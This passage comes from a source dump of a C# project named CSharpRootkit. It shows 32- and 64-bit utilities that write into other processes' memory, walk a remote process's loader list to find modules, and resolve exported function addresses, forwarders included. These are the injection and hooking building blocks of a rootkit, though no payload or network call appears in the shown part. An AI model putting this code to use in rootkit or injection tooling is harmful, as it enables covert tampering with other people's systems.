256 | throw new Exception("couldnt read NAME table. ERR CODE: " + Marshal.GetLastWin32Error());
257 | }
258 | uint[] nameTable = new uint[(int)exportDir.NumberOfNames];
259 | for (int i = 0; i < (int)exportDir.NumberOfNames; i++)
260 | {
261 | nameTable[i] = Marshal.PtrToStructure(nameTableAddr + (i * 4)).Value;
262 | }
263 | Marshal.FreeHGlobal(nameTableAddr);
264 |
265 | int nameBufferLen = FunctionName.Length + 1;//for the string terminating null byte
266 | IntPtr nameBuffer = Marshal.AllocHGlobal(nameBufferLen);
267 | uint result = 0;
268 | for (int i = 0; i < nameTable.Length; i++)
269 | {
270 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)(hModule + nameTable[i]), nameBuffer, (UIntPtr)nameBufferLen, ref Rread_out))
271 | {
272 | Marshal.FreeHGlobal(nameBuffer);
273 | throw new Exception("couldnt read name buffer. ERR CODE: " + Marshal.GetLastWin32Error());
274 | }
275 | byte SecondLastChar = Marshal.ReadByte(nameBuffer + nameBufferLen - 2);
276 | byte lastChar = Marshal.ReadByte(nameBuffer + nameBufferLen - 1);
277 | if (lastChar == 0 && SecondLastChar != 0) //make sure the last char is null and the second last char is not null
278 | {
279 | uint functionAddress = (uint)rvaTable[ordTable[i]];
280 | string RetrivedFunctionName = Marshal.PtrToStringAnsi(nameBuffer);
281 |
282 | if (RetrivedFunctionName == FunctionName)
283 | {
284 |
285 | if (functionAddress >= dataTable.VirtualAddress && functionAddress < dataTable.VirtualAddress + dataTable.Size)
286 | {
287 | string ForwarderString = ReadRemoteAnsiString32(hProcess, (IntPtr)(hModule + functionAddress));
288 | if (!ForwarderString.Contains("."))
289 | {
290 | Marshal.FreeHGlobal(nameBuffer);
291 | throw new Exception("Couldnt the Forwarder info!");
292 | }
293 | string[] Forwarder_info = ForwarderString.Split('.');
294 | string fowardedDll = string.Join(".", Forwarder_info.Take(Forwarder_info.Length - 1).ToArray()) + ".dll";
295 | string SearchElement = Forwarder_info[Forwarder_info.Length - 1];
296 | if (SearchElement.Contains("#"))
297 | {
298 | Marshal.FreeHGlobal(nameBuffer);
299 | throw new Exception("Ordinal forwarder function is not supported at this time!");
300 | }
301 | else
302 | {
303 | uint newModuleAddress = GetRemoteModuleHandle32Bit(hProcess, fowardedDll);
304 | if (newModuleAddress == 0)
305 | {
306 | Marshal.FreeHGlobal(nameBuffer);
307 | throw new Exception("Couldnt the Forwarder dll!");
308 | }
309 | return GetRemoteProcAddress32Bit(hProcess, newModuleAddress, SearchElement);
310 | }
311 | }
312 | else
313 | {
314 | result = hModule + functionAddress;
315 | }
316 | break;
317 | }
318 | }
319 | }
320 | Marshal.FreeHGlobal(nameBuffer);
321 | return result;
322 | }
323 |
324 | }
325 | }
326 |
--------------------------------------------------------------------------------
/CSharpRootkit/Utils/Utils64.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using static CSharpRootkit.InternalStructs;
8 |
9 | namespace CSharpRootkit
10 | {
11 | public class Utils64
12 | {
13 |
14 | public static bool WriteBytesToProcess64(IntPtr handle, ulong address, byte[] data)
15 | {
16 | IntPtr dataPtr = Marshal.AllocHGlobal(data.Length);
17 | Marshal.Copy(data, 0, dataPtr, data.Length);
18 | IntPtr BytesWritten;
19 | bool result;
20 | if (Environment.Is64BitProcess)
21 | {
22 | result = NativeMethods.WriteProcessMemory(handle, (IntPtr)address, dataPtr, (IntPtr)data.Length, out BytesWritten);
23 | }
24 | else
25 | {
26 | ulong len = 0;
27 | int WriteVirtualMemoryStatus = SpecialNativeMethods.WriteProcessMemory64From32(handle, address, dataPtr, (ulong)data.Length, ref len);
28 | result = WriteVirtualMemoryStatus == 0;
29 | if (!result)
30 | {
31 | NativeMethods.SetLastError((uint)WriteVirtualMemoryStatus);
32 | }
33 | BytesWritten = (IntPtr)len;
34 | }
35 |
36 | Marshal.FreeHGlobal(dataPtr);
37 | return result && BytesWritten == (IntPtr)data.Length;
38 | }
39 |
40 |
41 | private static bool ReadProperBitnessProcessMemory(IntPtr hProcess, ulong lpBaseAddress, IntPtr lpBuffer, UIntPtr dwSize, ref UIntPtr lpNumberOfBytesRead)
42 | {
43 | if (Environment.Is64BitProcess)
44 | {
45 | return NativeMethods.ReadProcessMemory(hProcess, (IntPtr)lpBaseAddress, lpBuffer, dwSize, ref lpNumberOfBytesRead);
46 | }
47 | else
48 | {
49 | ulong NumberOfBytesRead = 0;
50 | int ErrorResult = SpecialNativeMethods.ReadProcessMemory64From32(hProcess, lpBaseAddress, lpBuffer, (ulong)dwSize, ref NumberOfBytesRead);
51 | bool result = ErrorResult==0;
52 | if (!result)
53 | {
54 | NativeMethods.SetLastError((uint)ErrorResult);
55 | }
56 | lpNumberOfBytesRead = (UIntPtr)NumberOfBytesRead;
57 | return result;
58 | }
59 | }
60 |
61 | public static ulong GetRemoteModuleHandle64Bit(IntPtr hProcess, string DllBaseName, int max_flink_count = 600)
62 | {
63 | if (hProcess == IntPtr.Zero)
64 | {
65 | throw new Exception("The supplied hProcess is Null!");
66 | }
67 | ulong PebBaseAddress = 0;
68 | UIntPtr Rread_out = UIntPtr.Zero;
69 | if (Environment.Is64BitProcess)
70 | {
71 | InternalStructs.PROCESS_BASIC_INFORMATION PBI = new InternalStructs.PROCESS_BASIC_INFORMATION();
72 | uint PBI_size = (uint)Marshal.SizeOf(PBI);
73 | uint NTread_out = 0;
74 | if (NativeMethods.NtQueryPbi64From64(hProcess, InternalStructs.PROCESSINFOCLASS.ProcessBasicInformation, ref PBI, PBI_size, ref NTread_out) != 0 || PBI.PebBaseAddress==IntPtr.Zero)
75 | {
76 | throw new Exception("couldnt read PBI from process!");
77 | }
78 | PebBaseAddress = (ulong)PBI.PebBaseAddress;
79 | }
80 | else
81 | {
82 | InternalStructs64.PROCESS_BASIC_INFORMATION64 PBI = new InternalStructs64.PROCESS_BASIC_INFORMATION64();
83 | uint PBI_size = (uint)Marshal.SizeOf(PBI);
84 | uint NTread_out = 0;
85 | if (SpecialNativeMethods.NtQueryPBI64From32(hProcess, InternalStructs.PROCESSINFOCLASS.ProcessBasicInformation, ref PBI, PBI_size, ref NTread_out) != 0 || PBI.PebBaseAddress == 0)
86 | {
87 | throw new Exception("couldnt read PBI from process!");
88 | }
89 | PebBaseAddress = PBI.PebBaseAddress;
90 | }
91 |
92 | if (PebBaseAddress == 0)
93 | {
94 | return 0;
95 | }
96 |
97 | ulong ldrAddr = InternalStructs64.GetLdr64(PebBaseAddress);
98 | int pLdrDataSize = Marshal.SizeOf(typeof(ULONGRESULT));
99 | IntPtr pLdrData = Marshal.AllocHGlobal(pLdrDataSize);
100 |
101 | if (!ReadProperBitnessProcessMemory(hProcess, ldrAddr, pLdrData, (UIntPtr)pLdrDataSize, ref Rread_out))
102 | {
103 | Marshal.FreeHGlobal(pLdrData);
104 | throw new Exception("couldnt read pLdrData. ERR CODE: " + Marshal.GetLastWin32Error());
105 | }
106 |
107 | ulong pLdr64 = Marshal.PtrToStructure(pLdrData).Value;
108 | Marshal.FreeHGlobal(pLdrData);
109 |
110 | if (pLdr64 == 0)
111 | {
112 | return 0;
113 | }
114 |
115 | if (!ReadProperBitnessProcessMemory(hProcess, ldrAddr, pLdrData, (UIntPtr)pLdrDataSize, ref Rread_out))
116 | {
117 | Marshal.FreeHGlobal(pLdrData);
118 | throw new Exception("couldnt read pLdrData. ERR CODE: " + Marshal.GetLastWin32Error());
119 | }
120 |
121 | InternalStructs64.PEB_LDR_DATA64 ldr64;
122 |
123 | int ldr64Size = Marshal.SizeOf(typeof(InternalStructs64.PEB_LDR_DATA64));
124 | IntPtr ldr64addr = Marshal.AllocHGlobal(ldr64Size);
125 |
126 | if (!ReadProperBitnessProcessMemory(hProcess, pLdr64, ldr64addr, (UIntPtr)ldr64Size, ref Rread_out))
127 | {
128 | Marshal.FreeHGlobal(ldr64addr);
129 | throw new Exception("couldnt read ldr64. ERR CODE: " + Marshal.GetLastWin32Error());
130 | }
131 |
132 | ldr64 = Marshal.PtrToStructure(ldr64addr);
133 | Marshal.FreeHGlobal(ldr64addr);
134 |
135 | ulong entry = ldr64.InLoadOrderModuleList.Flink;
136 | ulong head = (uint)ldrAddr + (uint)Marshal.OffsetOf(typeof(InternalStructs64.PEB_LDR_DATA64), "InLoadOrderModuleList");
137 |
138 | int LdrDataTableSize = Marshal.SizeOf(typeof(InternalStructs64.LDR_DATA_TABLE_ENTRY64_SNAP));
139 | IntPtr LdrDataTableAddr = Marshal.AllocHGlobal(LdrDataTableSize);
140 |
141 | ulong hModule = 0;
142 | int count = 0;
143 | while (entry != head && count < max_flink_count)
144 | {
145 | count++;
146 | if (!ReadProperBitnessProcessMemory(hProcess, entry, LdrDataTableAddr, (UIntPtr)LdrDataTableSize, ref Rread_out))
147 | {
148 | break;
149 | }
150 | InternalStructs64.LDR_DATA_TABLE_ENTRY64_SNAP LdrDataTable = Marshal.PtrToStructure(LdrDataTableAddr);
151 |
152 | if (DllBaseName == null)
153 | {
154 | hModule = LdrDataTable.DllBase;
155 | break;
156 | }
157 |
158 | entry = LdrDataTable.InLoadOrderLinks.Flink;
159 |
160 | if ((LdrDataTable.BaseDllName.Length / 2) != DllBaseName.Length)
161 | {
162 | continue;
163 | }
164 |
165 | IntPtr currentModuleNameBufferAddr = Marshal.AllocHGlobal(LdrDataTable.BaseDllName.Length);
166 | if (!ReadProperBitnessProcessMemory(hProcess, LdrDataTable.BaseDllName.Buffer, currentModuleNameBufferAddr, (UIntPtr)LdrDataTable.BaseDllName.Length, ref Rread_out))
167 | {
168 | Marshal.FreeHGlobal(currentModuleNameBufferAddr);
169 | break;
170 | }
171 | string baseDllname = Marshal.PtrToStringUni(currentModuleNameBufferAddr, LdrDataTable.BaseDllName.Length / 2);
172 | Marshal.FreeHGlobal(currentModuleNameBufferAddr);
173 | if (baseDllname.ToLower() == DllBaseName.ToLower())
174 | {
175 | hModule = LdrDataTable.DllBase;
176 | break;
177 | }
178 | }
179 | Marshal.FreeHGlobal(LdrDataTableAddr);
180 | return hModule;
181 | }
182 |
183 | private static string ReadRemoteAnsiString64(IntPtr hProcess, ulong lpAddress)
184 | {
185 | string result = "";
186 | UIntPtr Rread_out = UIntPtr.Zero;
187 | IntPtr byteBuffer = Marshal.AllocHGlobal(1);
188 | while (true)
189 | {
190 | if (!ReadProperBitnessProcessMemory(hProcess, lpAddress, byteBuffer, (UIntPtr)1, ref Rread_out))
191 | {
192 | Marshal.FreeHGlobal(byteBuffer);
193 | throw new Exception("couldnt read AnsiString. ERR CODE: " + Marshal.GetLastWin32Error());
194 | }
195 | byte Ch = Marshal.ReadByte(byteBuffer);
196 | if (Ch == 0)
197 | {
198 | break;
199 | }
200 | result += (char)Ch;
201 | lpAddress += 1;
202 | }
203 | return result;
204 | }
205 |
206 | public static ulong GetNtHeader64Addr(IntPtr hProcess, ulong hModule)
207 | {
208 | int dosHeaderSize = Marshal.SizeOf(typeof(IMAGE_DOS_HEADER));
209 | IntPtr dosHeaderaddr = Marshal.AllocHGlobal(dosHeaderSize);
210 | UIntPtr Rread_out = UIntPtr.Zero;
211 | if (!ReadProperBitnessProcessMemory(hProcess, hModule, dosHeaderaddr, (UIntPtr)dosHeaderSize, ref Rread_out))
212 | {
213 | Marshal.FreeHGlobal(dosHeaderaddr);
214 | throw new Exception("couldnt read DosHeader. ERR CODE: " + Marshal.GetLastWin32Error());
215 | }
216 | IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure(dosHeaderaddr);
217 | Marshal.FreeHGlobal(dosHeaderaddr);
218 | return hModule + (uint)dosHeader.e_lfanew;
219 | }
220 |
221 | public static InternalStructs64.IMAGE_NT_HEADERS64 GetNtHeader64(IntPtr hProcess, ulong hModule)
222 | {
223 |
224 | UIntPtr Rread_out = UIntPtr.Zero;
225 | int ntHeaderSize = Marshal.SizeOf(typeof(InternalStructs64.IMAGE_NT_HEADERS64));
226 | IntPtr ntHeaderaddr = Marshal.AllocHGlobal(ntHeaderSize);
227 | if (!ReadProperBitnessProcessMemory(hProcess, GetNtHeader64Addr(hProcess, hModule), ntHeaderaddr, (UIntPtr)ntHeaderSize, ref Rread_out))
228 | {
229 | Marshal.FreeHGlobal(ntHeaderaddr);
230 | throw new Exception("couldnt read NTHeader. ERR CODE: " + Marshal.GetLastWin32Error());
231 | }
232 | InternalStructs64.IMAGE_NT_HEADERS64 ntHeader = Marshal.PtrToStructure(ntHeaderaddr);
233 | Marshal.FreeHGlobal(ntHeaderaddr);
234 | return ntHeader;
235 | }
236 |
237 | public static ulong GetRemoteProcAddress64Bit(IntPtr hProcess, ulong hModule, string FunctionName)
238 | {
239 | if (hModule == 0)
240 | {
241 | throw new Exception("couldnt read hModule is null or 0.");
242 | }
243 |
244 | UIntPtr Rread_out = UIntPtr.Zero;
245 |
246 | InternalStructs64.IMAGE_NT_HEADERS64 ntHeader = GetNtHeader64(hProcess, hModule);
247 |
248 | int IMAGE_DIRECTORY_ENTRY_EXPORT = 0;
249 |
250 | IMAGE_DATA_DIRECTORY dataTable = ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
251 |
252 | if (dataTable.Size == 0 || dataTable.VirtualAddress == 0)
253 | {
254 | return 0;
255 | }
256 |
257 | int explortDirSize = Marshal.SizeOf(typeof(IMAGE_EXPORT_DIRECTORY));
258 | IntPtr exportDiraddr = Marshal.AllocHGlobal(explortDirSize);
259 |
260 | if (!ReadProperBitnessProcessMemory(hProcess, (hModule + dataTable.VirtualAddress), exportDiraddr, (UIntPtr)explortDirSize, ref Rread_out))
261 | {
262 | Marshal.FreeHGlobal(exportDiraddr);
263 | throw new Exception("couldnt read IMAGE EXPORT DIRECTORY. ERR CODE: " + Marshal.GetLastWin32Error());
264 | }
265 |
266 | IMAGE_EXPORT_DIRECTORY exportDir = Marshal.PtrToStructure(exportDiraddr);
267 | Marshal.FreeHGlobal(exportDiraddr);
268 | if (exportDir.NumberOfNames == 0)
269 | {
270 | return 0;
271 | }
272 |
273 | int rvaTableSize = (int)exportDir.NumberOfFunctions * Marshal.SizeOf(typeof(int));
274 | IntPtr rvaTableAddr = Marshal.AllocHGlobal(rvaTableSize);
275 |
276 | if (!ReadProperBitnessProcessMemory(hProcess, (hModule + exportDir.AddressOfFunctions), rvaTableAddr, (UIntPtr)rvaTableSize, ref Rread_out))
277 | {
278 | Marshal.FreeHGlobal(rvaTableAddr);
279 | throw new Exception("couldnt read RVA table. ERR CODE: " + Marshal.GetLastWin32Error());
280 | }
281 | uint[] rvaTable = new uint[(int)exportDir.NumberOfFunctions];
282 | for (int i = 0; i < (int)exportDir.NumberOfFunctions; i++)
283 | {
284 | rvaTable[i] = Marshal.PtrToStructure(rvaTableAddr + (i * 4)).Value;
285 | }
286 | Marshal.FreeHGlobal(rvaTableAddr);
287 |
288 | int ordTableSize = (int)exportDir.NumberOfFunctions * Marshal.SizeOf(typeof(short));
289 | IntPtr ordTableAddr = Marshal.AllocHGlobal(ordTableSize);
290 | if (!ReadProperBitnessProcessMemory(hProcess, (hModule + exportDir.AddressOfNameOrdinals), ordTableAddr, (UIntPtr)ordTableSize, ref Rread_out))
291 | {
292 | Marshal.FreeHGlobal(ordTableAddr);
293 | throw new Exception("couldnt read ORD table. ERR CODE: " + Marshal.GetLastWin32Error());
294 | }
295 | ushort[] ordTable = new ushort[(int)exportDir.NumberOfFunctions];
296 | for (int i = 0; i < (int)exportDir.NumberOfFunctions; i++)
297 | {
298 | ordTable[i] = Marshal.PtrToStructure(ordTableAddr + (i * 2)).Value;
299 | }
300 | Marshal.FreeHGlobal(ordTableAddr);
301 |
302 | int nameTableSize = (int)exportDir.NumberOfNames * Marshal.SizeOf(typeof(int));
303 | IntPtr nameTableAddr = Marshal.AllocHGlobal(nameTableSize);
304 | if (!ReadProperBitnessProcessMemory(hProcess, (hModule + exportDir.AddressOfNames), nameTableAddr, (UIntPtr)nameTableSize, ref Rread_out))
305 | {
306 | Marshal.FreeHGlobal(nameTableAddr);
307 | throw new Exception("couldnt read NAME table. ERR CODE: " + Marshal.GetLastWin32Error());
308 | }
309 | uint[] nameTable = new uint[(int)exportDir.NumberOfNames];
310 | for (int i = 0; i < (int)exportDir.NumberOfNames; i++)
311 | {
312 | nameTable[i] = Marshal.PtrToStructure(nameTableAddr + (i * 4)).Value;
313 | }
314 | Marshal.FreeHGlobal(nameTableAddr);
315 |
316 | int nameBufferLen = FunctionName.Length + 1;//for the string terminating null byte
317 | IntPtr nameBuffer = Marshal.AllocHGlobal(nameBufferLen);
318 | ulong result = 0;
319 | for (int i = 0; i < nameTable.Length; i++)
320 | {
321 | if (!ReadProperBitnessProcessMemory(hProcess, (hModule + nameTable[i]), nameBuffer, (UIntPtr)nameBufferLen, ref Rread_out))
322 | {
323 | Marshal.FreeHGlobal(nameBuffer);
324 | throw new Exception("couldnt read name buffer. ERR CODE: " + Marshal.GetLastWin32Error());
325 | }
326 | byte SecondLastChar = Marshal.ReadByte(nameBuffer + nameBufferLen - 2);
327 | byte lastChar = Marshal.ReadByte(nameBuffer + nameBufferLen - 1);
328 | if (lastChar == 0 && SecondLastChar != 0) //make sure the last char is null and the second last char is not null
329 | {
330 | uint functionAddress = (uint)rvaTable[ordTable[i]];
331 | string RetrivedFunctionName = Marshal.PtrToStringAnsi(nameBuffer);
332 |
333 | if (RetrivedFunctionName == FunctionName)
334 | {
335 |
336 | if (functionAddress >= dataTable.VirtualAddress && functionAddress < dataTable.VirtualAddress + dataTable.Size)
337 | {
338 | string ForwarderString = ReadRemoteAnsiString64(hProcess, (hModule + functionAddress));
339 | if (!ForwarderString.Contains("."))
340 | {
341 | Marshal.FreeHGlobal(nameBuffer);
342 | throw new Exception("Couldnt the Forwarder info!");
343 | }
344 | string[] Forwarder_info = ForwarderString.Split('.');
345 | string fowardedDll = string.Join(".", Forwarder_info.Take(Forwarder_info.Length - 1).ToArray()) + ".dll";
346 | string SearchElement = Forwarder_info[Forwarder_info.Length - 1];
347 | if (SearchElement.Contains("#"))
348 | {
349 | Marshal.FreeHGlobal(nameBuffer);
350 | throw new Exception("Ordinal forwarder function is not supported at this time!");
351 | }
352 | else
353 | {
354 | ulong newModuleAddress = GetRemoteModuleHandle64Bit(hProcess, fowardedDll);
355 | if (newModuleAddress == 0)
356 | {
357 | Marshal.FreeHGlobal(nameBuffer);
358 | throw new Exception("Couldnt the Forwarder dll!");
359 | }
360 | return GetRemoteProcAddress64Bit(hProcess, newModuleAddress, SearchElement);
361 | }
362 | }
363 | else
364 | {
365 | result = hModule + functionAddress;
366 | }
367 | break;
368 | }
369 | }
370 | }
371 | Marshal.FreeHGlobal(nameBuffer);
372 |
373 | return result;
374 |
375 | }
376 |
377 |
378 | }
379 | }
380 |
--------------------------------------------------------------------------------